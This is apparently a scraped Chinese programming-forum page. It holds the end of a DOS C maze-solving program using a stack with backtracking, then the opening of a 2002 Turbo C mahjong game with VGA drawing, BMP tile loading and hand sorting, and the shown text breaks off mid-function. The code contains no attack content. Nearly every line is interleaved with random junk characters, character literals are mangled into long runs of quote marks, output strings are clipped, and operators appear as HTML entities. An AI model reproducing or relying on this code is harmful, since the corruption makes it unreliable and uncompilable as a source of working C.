0 i* l7 \  z* ^" W  Xmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
! w6 B2 c- a; {- m: l' Areturn TRUE;
  d6 O9 ]; t" c+ E8 v- |else return FALSE;
: N; Q# d# }( Q" x8 `1 H} /* Pass */
! i8 t% k( ?( q0 i. M% Nvoid MarkPrint(PosType seat)
  P: E9 D% |0 E: D. a: ?0 m/* Mark the position seat. */
" N. U- y5 j6 s! M4 x' p7 b* s5 u{
7 l$ ^. ?6 T: a% Tmaze[seat.x][seat.y].mark=-1;0 K0 j: _( S9 U- p8 b: J# T
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
- C) ^) ?0 f) C+ l} /* MarkPrint */4 ?% M5 A: v" ]5 r# i
void FootPrint(PosType curpos)
3 X: x; B* V: n* l8 F% L, E/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */! z4 l0 O, M. }+ G- g5 Q$ ^
{0 u. ~/ A! R" Q6 S5 t# _" M
maze[curpos.x][curpos.y].foot=1;7 h: y  Z5 v# q- ~' Z0 `1 K
} /* FootPrint */
- ]6 I/ `6 F6 p6 d9 Y$ T8 G2 J8 KPosType NextPos(PosType seat,int di)
( p3 M/ h# u8 T{7 [: K1 X& Y: s  i) M
switch(di)
1 k, ~! F5 `+ G: x8 x( s{
$ y. O6 n! o1 P( F7 y' Wcase 1: seat.y++; return seat; /* Eastward */
' ]. r$ I. W; e8 f# n2 @: q* Ocase 2: seat.x++; return seat; /* Southward */
" |* R2 [8 Z! C, O6 X( Scase 3: seat.y--; return seat; /* Westward */1 r9 C! X/ f5 P
case 4: seat.x--; return seat; /* Northward */
6 d/ b! [3 o0 [; L4 Zdefault: seat.x=0; seat.y=0; return seat;$ B& J9 }9 D0 B
}/ V- q. h  N, \
} /* NextPos */. c2 G+ C2 @# T9 I' t7 I) Z

( c- a! j4 D& l+ I7 u/* The key to the program. */
: {7 c% K6 G" b0 p% \6 f/* Pre: The maze array &amp; the startplace &amp; the endplace.: k0 |2 I6 `# Y3 j* t8 `7 F; b# z' R, J
Post: Find the one traverse of the maze and perform the mazepath.
1 T3 A( R3 y: q$ J- d/ j( hUses: The ADT stack class.* @  U# f' U1 t% F, W9 k
*/; E- ]0 U! f3 U8 J' _
Status MazePath(PosType start,PosType end)
/ w  [9 s- ^/ p2 V* _3 ?{4 n1 k* N) q: e( @: J
PosType curpos;
$ ]! l( Q% w# \1 p6 a7 h& Cint curstep;. W  U6 M0 R: b
SElemType e;
- L+ ~6 \7 s# u5 w" c0 MStack *s,stack;0 s. T: W) w% [) Z1 v0 Q$ j
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));6 O* `/ Z5 S3 W2 S. `( F
if(!stack.base) Error("Overflow");
% {2 L5 `4 {* D4 x: H0 o7 gstack.top=stack.base;) N* v' E6 G* s+ ?1 m- H
stack.stacksize=STACK_INIT_SIZE;# Y9 K2 o9 f5 e7 J* }# u
s=&amp;stack;
! G& p& x* Z! Gcurpos=start;
8 C3 T! f% X. r( A$ _curstep=1;3 g+ Q6 \0 |  J
do6 M% W% u- u8 T  Z8 o  r# Q" Y
{5 e- @, y; Z! M" n9 ~0 \* `
if(Pass(curpos)), ^+ z9 a5 Z; q! A
{
# \. Q1 \, H1 Z( YFootPrint(curpos);
$ Y) R" s3 G. Q+ v% He.ord=curstep; e.seat=curpos; e.di=1;; b) z' H" ^# [8 J
gotoxy((curpos.y+1)*2,curpos.x+2);. D% L* \8 {+ E/ A$ B% A' }
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');6 c) v$ a; Z3 ^: n
delay(8000); /* pospone time. */& _6 q' n/ ]  T: ^1 x4 {
Push(s,e);( e' e) M! U. {0 s1 f% N  z1 ]7 O8 o) F: B
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */, M6 c$ P, w& J4 }7 N4 h4 @( i
{
1 c  c3 ?- C$ g' k6 TDestroyStack(s);
1 p7 ^2 e9 n% |" f/ creturn TRUE;4 f% F9 n# z  K; Y& p+ @
}6 D# a$ v/ h7 f0 j. n
curpos=NextPos(curpos,1); /* Try next position. */
: Q' Y5 N, U$ x( Jcurstep++;/ r, B$ j- G: z' P6 _# l# A
}
: r" @6 X" q1 j- [else
% o8 C8 \3 v, f( e, ^- B4 ]/ h{& C% T9 L' c1 `% a% E% E% x6 g/ I
if(!StackEmpty(s))# |8 c% o6 H* v
{- M* c2 K! c4 m5 O/ x1 k! m! o3 x
e=Pop(s,e); /* Removed e from s. */6 C4 X9 y" Y7 l6 J  D6 K
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked9 C$ R& T% }& H1 e( K6 j* _
and s is not empty. */* \* W0 h+ o0 l7 p8 x* |. [
{
9 `3 v- v# K8 n; K! b" M3 i' L0 LMarkPrint(e.seat);6 ^% |. V, x9 f& G4 w# Z
gotoxy((e.seat.y+1)*2,e.seat.x+2);5 L) D  X: C! @3 W6 w9 p
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');4 i6 q% t) L. I" ^5 `; j
delay(8000); /* Pospone time. */! X' e! f: y! a. P; q1 C) O/ K
gotoxy((e.seat.y+1)*2,e.seat.x+2);3 g+ l* C2 K8 s5 r; S/ M; g3 p
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');" Q% n2 u3 j: f! z' O  ]8 _" O" i) ]
e=Pop(s,e); /* Remove e from s. */& a. p1 X- |4 u9 v
curstep--;
# M" g+ f+ d" j& x}
* {# [3 y" u6 j0 \1 Z/ ^if(e.di&lt;4) /* The current position hasnot been checked. */1 t/ M1 z* W; Y4 A0 E; f* ^
{* ]) G: y; r$ _7 ~- X4 |
e.di++;
& p" H3 l  h' N0 ?, [. V( APush(s,e); /* Insert e into s. */& {1 }+ n  v: [* x' m
curpos=NextPos(e.seat,e.di); /* Try next position. */, ~+ I2 H) [' D2 l9 B  O3 o
}
$ R( O6 @0 ^) s8 z# }( a6 P}
( Q& W0 V& B  L2 n}5 X; d; q& K& q' {2 v% d, U: o8 s6 o
}
; x6 H; b9 _) J) [1 Dwhile(!StackEmpty(s));
  `) O' [" z& Z7 ^3 }DestroyStack(s);# G+ V; [( J# x
return FALSE;: b( h3 }6 u- F# h1 V& w
} /* MazePath */$ h9 ]8 s4 L3 x: _+ z  A
void main()7 C5 J0 D: \4 s9 @
{8 V9 @3 |# N; Y+ g
PosType start,end;9 O' Y% r. `3 u& N* W- ~" c
CreatMaze();
( L( e7 h" h5 Qstart.x=StartPlace.y;
6 x9 C* E0 X5 j  Gstart.y=StartPlace.x;, H, F5 X) f$ ~" o( j% o
end.x=EndPlace.y;
* m6 y; a4 ^0 y: W& \end.y=EndPlace.x;4 D1 ?/ n3 V' s
if(MazePath(start,end))
5 e2 H+ n* }6 w4 N$ Y( C6 [{: `# F; X( A1 `8 T0 k$ A% H
gotoxy(2,22);
# w3 ^1 b1 x5 T, h5 P! vprintf("ath found\n");* o8 F) o* L* z, r
}
0 m0 A; y1 i# v; T! yelse
) z* N: O. H8 l2 F{
/ `1 c( Z: y/ U, Q- {3 Hgotoxy(2,22);
2 w3 B) o- t  D9 dprintf("ath not found\n");# V: D" @: i! J" |- W5 m
}2 s9 P6 I: i) }5 x( L# b
getch();
1 B; K* L+ O& `. G( Rclrscr();6 o& f, p9 d; J6 s2 q
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
# O/ h  Z6 }2 F/ c: P) J( A( j6 }/*天宇软件  G0 m: K) |- _, F
作者:上海黑暗之龙
+ ~8 G, C3 `' e2002/10/30$ x. j  a7 M7 w+ f# h- F
麻将原代码*/0 J; `; o' g; F* ~( l* U- U
#include "dos.h"7 B( [% @" Q! [( ]5 U
#include "stdio.h"
, k; H1 S+ j9 N#include "graphics.h"
+ X, m" w  e: S( x$ j#include "bios.h"
# M2 H0 ^5 L/ v) ^#include "conio.h"+ F6 T0 H" c+ D% r
#include "stdlib.h"
+ S+ w: y# S# j0 E7 wunsigned char far *video_buffer=(char far *)0xA0000000L;
' m* A# o/ y" m) }" ~; a  Y#define VGA256 0x13 /*图形模式13h*/
( H9 m+ s7 ~$ z: g7 N#define TEXT_MODE 0x03 /*普通文本模式*/
) f1 Z, c( V  I, ?% y#define SETVGA Set_Video_Mode(VGA256)
: J+ g) _6 n- z6 ?; E* X- f- F" G#define OUTVGA Set_Video_Mode(TEXT_MODE)
8 A# H; w9 R  Y8 r' W, |#define BYTE unsigned char
* g8 \' ~; e7 q: L9 x- S#define WORD unsigned int
/ e" g  u4 v/ W#define DWORD unsigned int" T  R! _, C% ^& S6 \/ R
#define ESC 283
% K" e" ]$ W, o#define LEFT 19200
4 R, r8 a! n/ H4 F8 ^9 J/ V#define RIGHT 19712
; s% h+ S/ K+ T- ]! e- N- i  N#define H 9064
5 S0 }; o" V7 o& F% l1 x! _* `6 ^#define ENTER 7181
& ~- t" k; ~8 e) h  m7 X. J- `4 h2 Yunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
6 k+ ?. T# ?' L( h% t5 ^int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;9 ]3 Y6 V' N- e4 Z& R3 c! D" a
struct chi
, F: D7 X' k3 k' [' k+ Z* }{( ?$ k, H( o; j- v3 j+ i' s% u9 W" E
int lg;0 s3 M9 W- H( G9 R' E- U
int lgg;
! z5 k; @* f1 H$ b# J9 p" B  x, a  s}ch[13];7 H: O  V$ ?  i7 ]2 h$ O4 q1 L
struct mj) I; \6 j5 Y, t# M$ |
{ char *name; /*名字*/9 C( E  E! P4 D8 w9 G. P
int data1; /*是否已出,无用了*/
& ^# T, f6 Z: A3 S# eint data2; /*是否在手中,1为自己,2为对方*/
( @. N% Q0 J" H3 hint number; /*同一个花色的第几张,共4张*/
' B- `$ ~; D7 t1 F" W* i( T}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,' r' W; u) X3 z+ Q; u, e
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
7 e3 |6 f5 k* @4 m: W- _"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
: j# C5 a) s# F" w"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,! f) M" [# Y! @
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
( D* T; H: W4 P6 `/ O2 U"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
! J# @( b2 {+ @& r* B; b8 _"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,; s* e2 V% G# s% U0 h" k  d
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
7 O* {; Z2 {9 I+ f3 m. s"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
0 w" B3 s7 Z4 H; v$ Z: ~/ r) d"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,6 E$ v  ~' |& |+ h' U
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
# L! s2 y2 ~/ z) A+ o"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
# ^* S4 e3 L8 \' \/ c) x"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
& F# \9 ]0 ^; `& [+ E"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,, [" ^6 p, n: e
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,6 D  x5 b+ G, |8 z5 n: {; y: \
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
8 \6 w! T! z  v2 w! S"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
% e; W+ X- G4 \3 f"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,% H6 A* V4 \+ f# ]5 L
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,) D2 R6 D. ]& M& U& |0 A& ?
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,/ E5 c- f8 V. C/ D5 f
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
; y5 U& x$ N: o* M4 _"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,6 I6 K& }  N8 w0 n% }; N7 Q9 C
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
% R5 ^. {9 \; I6 j2 @"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,6 M- K1 V$ |  ~8 k
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
3 j* W% j- P7 L- B' d/ |"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,( \6 T4 o& s, E
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,5 u' Q3 ^3 `3 S2 b) H5 G
"34.bmp"};
  }# L  [2 a2 o& _! {: j4 vstruct every5 D; _0 s  L' u: k! }
{ int *k; /*名字*/
: I- \) Z% N# W5 A; ~5 |7 iint oneorfour; /*同一张牌的第几张*/
* m' z& X1 O. m! Hint number; /*第几张牌136*/
% e- Q, C* a" ?int p;) b$ L+ b( W9 H/ a" X% b1 i7 L
int g;
, r7 @  r8 x. ~1 q8 F4 pint c;
! H5 r& z9 J$ l& n" K) c# N% o. fint d[2];& G2 D/ Z% x9 i( \7 T7 z9 H
};
% w8 X, p8 e* O6 C! Nstruct me9 U! J7 A6 O; {1 ]* ^. t
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/+ u- h- U/ i3 q9 V+ }0 Q
int p; /*乓对方*/4 ?% n( B9 g! _5 j
int c; /*吃对方*/
% a: ^6 b. V9 |! wint g; /*杠*/
  U. q- t3 w2 ?$ ^9 r! Q
% L. y) d5 r- G+ q  ?# e3 qstruct every pp[14]; /*存放手上的牌*/, T# F- g4 e# U3 O
}me;# ?9 F% r2 l+ K9 w$ Y4 C
struct computer( }& n& m0 Z) B, f
{ int m;
. M+ i+ y+ ^' O. [int p;* w* h* Y) f& J9 Q$ r0 K$ J$ h) }
int c;
+ c4 x4 Z8 k6 ^int g;' l$ [* E$ V/ t
struct every pp[14];3 R7 j3 D# y+ m
}computer,comp;
$ }! j. \% y+ C3 g3 W8 t+ V, [4 |" s, B* U5 [" g& p( n0 B
/* 设置调色板 */9 o1 z" A7 G' F7 d+ o6 p  @& Y
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)' X; L  P+ F; h9 g2 h" B; m% I
{
- Z' {$ U7 q! L  Youtportb(0x3c8,Color); /*0x3c8写端口 写色号*// S. f7 a* M! y' O* l
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/$ D& }# A- p2 l9 p( W* ~2 l; z
outportb(0x3c9,g);
2 [) D0 s; f3 G9 R0 w. C. ]outportb(0x3c9,b);
4 z3 a! A* F5 [}! Z; ^, ~' C% p$ n0 n
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/, T4 H( c) w0 w1 P2 |, C' I
/* 设置显示模式的函数 */
; B, ?1 L1 c% b& m7 t2 U/ Gvoid Set_Video_Mode(int mode)4 s* ^& P# g$ I8 Z9 e* }, l$ F
{
2 v2 J3 I" c. B# hunion REGS inregs,outregs; /*定义输入和返回寄存器*/
% N0 L) _' A, \1 J& Yinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/' a/ }% j' A3 B2 h$ P& a
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/9 @- u2 F, M4 V' I
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/4 j+ q, f/ G% N
}2 b2 B% ?  o( a  }. q0 f
void v_line(int y0,int y1,int x,unsigned int color)
- j$ I: A3 _- U4 e# G- H% c{ unsigned int address,n,temp;
5 x" c' L, v& a! Dif(y0&gt;y1)
% P$ x- Y- ~7 m" z9 T% g{
( C# X6 H' \; l9 C9 i" itemp=y1;
# p! v  g6 R& E& Ly1=y0;
  Z' F! r5 A. c: y) Hy0=temp;
0 @% K* s- p4 `$ u! G0 A}8 }* N7 l. G& r3 T: y
address=320*y0+x;
1 \; C' m' m8 F  }for(n=0;n&lt;=y1-y0;n++)
. P& J& P/ }' `/ _& a{/ f. ~1 ~, M- t& Z5 E. J, O
video_buffer[address]=color;$ Z/ f# K# E1 G# M  L+ J) f
address+=320;9 }' M& s2 f9 {. H4 A5 z
}8 d) |  P5 ~' `2 m# i
}& `1 \( h5 r: T
void h_line(int x0,int x1,int y,unsigned int color); I8 T5 z3 n% o9 E& S3 p/ ^* ?. f6 u* F
{ unsigned int address,n,temp;& [1 w5 u1 ?9 r
if(x0&gt;x1)
6 p8 M5 z" @1 Y4 B{
& a1 w6 Q' `' ^; Vtemp=x1;% U+ j- W& |- v
x1=x0;; R' m/ _0 \- ~; ?7 p
x0=temp;5 V4 T" j5 o" J& M( \! z' {
}' u; q0 Q" \( o, [$ [, |
address=320*y+x0;4 u9 J7 g9 q/ B" Z+ o- w1 A. y" C
for(n=0;n&lt;=x1-x0;n++)' B9 z( O5 d: o1 r7 o8 h& _- Z
{  r4 M, q2 M9 a5 O
video_buffer[address]=color;; Y( L9 Y$ Y% O" G9 y  |3 F
address+=1;
2 d" x( n5 Z  f9 {+ g# U$ J}: K3 s' ]: P! _- l4 W
}% w6 d. w1 u' H$ h4 D
void p_pixel(int x,int y,unsigned int color)
# V1 H! }* S$ [  a0 [- ]" N{ video_buffer[y*320+x]=color;, C# o2 S* k" F& w* o
}3 P  T2 V8 m0 J7 |; j9 i: u+ Y
void s_square(int x,int y,int side,int color)
, {3 T6 A& }1 ^( b4 K3 \{
, ]/ i& x2 `0 w  Nh_line(x,x+side,y,color);
; k! l1 u* x2 o/ T: R* th_line(x,x+side,y+side,color);
; C$ g" e$ ~" V, o4 A) E' Yv_line(y,y+side,x,color);
2 R3 B) \4 d/ R6 _! Iv_line(y,y+side,x+side,color);9 `2 }9 j6 ]7 N1 v+ f6 K
}
0 V" t8 l7 [' S  x+ bvoid r_rectangle(int x1,int y1,int x2,int y2,int color)- ?; }' Z: ^! ]; v) F' J  |. N
{/ b; H- c' K+ w1 k- v5 y
h_line(x1,x2,y1,color);2 R( @% h+ L! W+ e4 o
h_line(x1,x2,y2,color);
" J2 i8 Q4 c2 Cv_line(y1,y2,x1,color);
5 S4 p; R, A7 ?# X& F$ Ev_line(y1,y2,x2,color);) U/ {2 w7 H1 D9 t
}3 D" g- V$ e: i$ o3 y+ G
void fillRectangle(int x1,int y1,int x2,int y2,int color)8 X/ R( O* A$ Q$ i# ~! x
{
$ p) H1 U! P, H! xint i;
9 b0 P( k. o0 G7 a! ~; n1 S; efor(i=y1;i&lt;=y2;i++)) O3 Q9 x: Q; o4 C0 L$ f7 [: W, i
{# g1 L2 u& W* I( D* c
h_line(x1,x2,i,color);
% l  ?) q$ d/ }1 O}) h7 O& t8 i5 n
}
* c6 e" A8 X- f3 n# w" F2 ?void showbmp(int l)
" O( N" _4 ~# q4 o6 J! {{ FILE *bmp;& Q9 Q7 \  Z# R1 t1 s! H
int i,x,y;
5 `1 {0 H: V6 b, a7 k# FBYTE palette[256][3];
$ M. ]1 u' w0 t6 e* q6 Tbmp=fopen(me.pp[l].k,"rb");# R" A( j/ g" ^% t4 W# J
fseek(bmp,54,SEEK_SET);
  C+ g) T3 Q2 `% e4 t* Y& afor(i=0;i&lt;256;i++)7 _- v. M2 I& Q2 ~
{
' F1 h2 P' i6 V! B3 {3 lpalette[2]=fgetc(bmp)&gt;&gt;2;; [5 d$ O( ?1 T; d
palette[1]=fgetc(bmp)&gt;&gt;2;
- R" E' r) d9 C; U: @palette[0]=fgetc(bmp)&gt;&gt;2;
2 U" U0 k! I( F( {$ Vfgetc(bmp);9 e) L$ J: m6 B4 v3 `; {; O
Set_Palette(i,palette[0],palette[1],palette[2]);
1 s! E8 V( X; Z$ U8 Y5 ?}
9 N, i/ i! B: a/ \, \8 c  {for (y=0;y&lt;30;y++)
' C9 S5 x4 @/ z# n3 z/ W0 Cfor(x=0;x&lt;20;x++)
( g+ b( F1 ^* X) _% t( z7 _9 Z  xpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
4 J  e- h1 |: g$ h, q3 d4 ffclose(bmp);
8 K) c# b6 c4 U5 m3 W% o}5 w: T; k3 l2 a
void showbmpd(int l)" P0 W/ A# b+ q$ e" g) ~8 o
{ FILE *bmp;
. L) {- t" B0 x! R3 D1 I3 Y: Z  Yint i,x,y;( ~8 z+ x" w% K! U3 V  R# b5 Q8 _* U$ Z
BYTE palette[256][3];
+ T- T7 |. `1 ]. g) r* tbmp=fopen(me.pp[l].k,"rb");% G: c, ?/ D9 l' ?6 r9 q$ }& ~
fseek(bmp,54,SEEK_SET);/ f# Z. _! Z. I+ Z/ s. D' A5 K
for(i=0;i&lt;256;i++): K* ~) F" A3 d: c! W
{
- P4 n- r: h1 V' J7 E. B7 S+ r  xpalette[2]=fgetc(bmp)&gt;&gt;2;
  t" i5 D8 T; A% _5 f% [1 \palette[1]=fgetc(bmp)&gt;&gt;2;
- a0 X: `0 W0 o8 U# b0 g* apalette[0]=fgetc(bmp)&gt;&gt;2;
! T7 S/ S% R" _6 q" R+ U- ?- Pfgetc(bmp);4 d, x9 R/ H! j* @( P
Set_Palette(i,palette[0],palette[1],palette[2]);1 o# R; l3 U* M3 J# a
}& N# z2 r+ y3 _) X+ k
for (y=0;y&lt;30;y++)! {% i( ^+ s; x/ E" G6 j
for(x=0;x&lt;20;x++)! Z/ b6 L- \0 Y5 E( b) ~
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));9 S: ]; {( h; m  B$ v
fclose(bmp);' v3 M2 c- w- b) D0 H4 z4 r8 V
}' C; W4 _- C$ A2 B" h1 I
void showybmp(int ll). i4 `. A, d9 b8 ^/ K$ g+ C
{ FILE *bmp;
, {/ Z8 s  G- g; d# Q) k8 ^int i,x,y;" Y+ q: V' y. n: r$ Y1 k. R. U
BYTE palette[256][3];, B+ x- V$ W& h* |
bmp=fopen(computer.pp[ll].k,"rb");
1 P" E8 A& q3 v. ifseek(bmp,54,SEEK_SET);
2 v  ~; }. ]9 N. `) h+ F. z0 {: ^for(i=0;i&lt;256;i++)7 f3 \- H* \) y4 _2 }
{. l7 T( `9 V4 U/ x; H; D
palette[2]=fgetc(bmp)&gt;&gt;2;2 |- L8 w" h/ T1 Q- c+ h
palette[1]=fgetc(bmp)&gt;&gt;2;
) p8 O5 B# _9 x  K( [9 g' c$ ]palette[0]=fgetc(bmp)&gt;&gt;2;, w# Z4 W0 m) w
fgetc(bmp);
5 b. `+ p& R8 S! K% {Set_Palette(i,palette[0],palette[1],palette[2]);) L* d0 l( b) l- ^) p
}
+ n" ^1 [0 P& J0 \for (y=0;y&lt;30;y++)
5 }' H, j0 \( B  Mfor(x=0;x&lt;20;x++)
- B; g& ]1 W. Epokeb(0xa000,y*320+x+zy,fgetc(bmp));
' L3 b* V* U' a; m) @0 L* Xfclose(bmp);
" ]7 Z3 [4 z2 Z7 M. d. R}
) r+ `% p' t) n; m, Tvoid showcbmp(int ll)
1 k% Q! J' l2 h% V{ FILE *bmp;
4 d, S7 c# {% b; y' K. j% H; A: T5 gint i,x,y;- V( n1 ]9 ?' I" q# n1 Q% W
BYTE palette[256][3];
4 Y4 U9 U! u: T+ X: E2 h' y1 @& Ubmp=fopen(computer.pp[ll].k,"rb");  {, D( d2 R' ^6 @) J$ c
fseek(bmp,54,SEEK_SET);
, W8 D# j/ I; j" @for(i=0;i&lt;256;i++): t  D$ c* r4 C% e6 R
{
! y" v: a$ x# O; F/ t" O( K4 Lpalette[2]=fgetc(bmp)&gt;&gt;2;
( z* G0 G2 Q4 d# n# J, dpalette[1]=fgetc(bmp)&gt;&gt;2;
3 c3 u* y( s* |! r7 r# t5 F) f5 lpalette[0]=fgetc(bmp)&gt;&gt;2;
9 F. g& O! G  d+ v. @fgetc(bmp);: R4 C2 x/ u( I. |; o2 Y/ b
Set_Palette(i,palette[0],palette[1],palette[2]);2 {. g, {0 S, K/ r/ m0 F
}- i5 _; n! F2 k; H7 B
for (y=0;y&lt;30;y++)
2 s1 A2 K) E# C$ D  T5 L9 ]for(x=0;x&lt;20;x++)% p* w. {, p( n% u% e2 f! Y1 E
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));. q' P+ q! F4 E* y* ?2 [4 f
fclose(bmp);+ N" Z6 E* W6 C' f2 X
}) g8 X5 X1 @4 y
void bmpp(int number)7 Y- D$ q+ V/ K, i' V1 @4 [
{ FILE *bmp;5 q5 Y/ h: n- y: R
int i,x,y;
7 M; X* Q- k2 v4 {* J3 v2 W* zBYTE palette[256][3];
7 r; i" z9 z. h0 J1 y( N0 tbmp=fopen(m[number].name,"rb");1 p5 p+ e& w: r; R% W6 }! h/ Y2 }
fseek(bmp,54,SEEK_SET);, T# A* I/ I0 o  b
for(i=0;i&lt;256;i++)* Y, j- q& s: t7 E  p5 h. \* J
{6 H8 `9 p* a* l$ @
palette[2]=fgetc(bmp)&gt;&gt;2;
9 |3 D) Y" f  s/ h5 s! }3 fpalette[1]=fgetc(bmp)&gt;&gt;2;5 E+ Q! _- V% d
palette[0]=fgetc(bmp)&gt;&gt;2;' v5 Z* |/ o$ `8 P9 w# S+ H( Y; v' C
fgetc(bmp);2 p7 n2 D" ~+ |* |7 e# I
Set_Palette(i,palette[0],palette[1],palette[2]);! W8 U% Y9 f- S
}* B& V1 D; x* A
for (y=0;y&lt;30;y++)- G8 o- t2 W7 e) a+ t: Y
for(x=0;x&lt;20;x++)
5 b6 k1 T/ Z4 m, {$ P: E. cpokeb(0xa000,y*320+x+zl,fgetc(bmp));: D$ [" ^. q2 K. d5 n0 R# J
fclose(bmp);
9 n: v7 X& w4 h7 p}
; x" _' T% z7 tvoid comlipai() /*整理电脑的牌*/
# E. x" c5 h" B{ int n,j,u;
- F4 z6 i6 ~4 @int *lingshi;
8 a/ q$ D- @) R. ]* Mfor(n=0;n&lt;computer.m;n++)
7 P5 D1 X1 `$ U5 ?. P( g: Ofor(j=n;j&lt;computer.m;j++)
1 G; C  B' O2 d1 ^{' T( a) e3 H% r! L7 D
if(computer.pp[n].number&gt;computer.pp[j+1].number)) Y. g6 _; z  U2 O" a3 C
{
5 C, V6 ?' ?, G/ s$ s5 E5 a: q6 ulingshi=computer.pp[n].k;* W7 @4 L7 G: b) K4 ]* t+ P
computer.pp[n].k=computer.pp[j+1].k;5 X0 {; r% a9 ?
computer.pp[j+1].k=lingshi;
/ m+ w: V' Y) |) l* P% }u=computer.pp[n].oneorfour;
; d( B  W5 d- J% B4 ucomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
" T  R# ?  T/ F& v, g' \" Kcomputer.pp[j+1].oneorfour=u;4 m' P  n; i5 h+ [) M5 s- a
u=computer.pp[n].number;
) g9 {% S. y& r' |$ Lcomputer.pp[n].number=computer.pp[j+1].number;! ^' t, d, R  D, ^/ r- y+ ]& @
computer.pp[j+1].number=u;
- l7 k# B  q$ l* l6 o}
' ]" a$ z! H: n% Aelse3 @5 \/ h0 G; ]! X- I& m. p
if(computer.pp[n].number==computer.pp[j+1].number)
& t* Q8 P: I) @2 B. X8 Z7 Kif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)7 H& e& V( _" h; a/ B
{5 t( j; \9 e/ w
lingshi=computer.pp[n].k;- h# ^, V+ F( [3 \8 b% Q! e/ f2 Y# e
computer.pp[n].k=computer.pp[j+1].k;
7 z& V% f9 z5 ]! k$ Xcomputer.pp[j+1].k=lingshi;
& K7 h7 i" d6 H  S2 E+ hu=computer.pp[n].oneorfour;  x; w% @8 r+ g3 l# u0 D  ?/ U
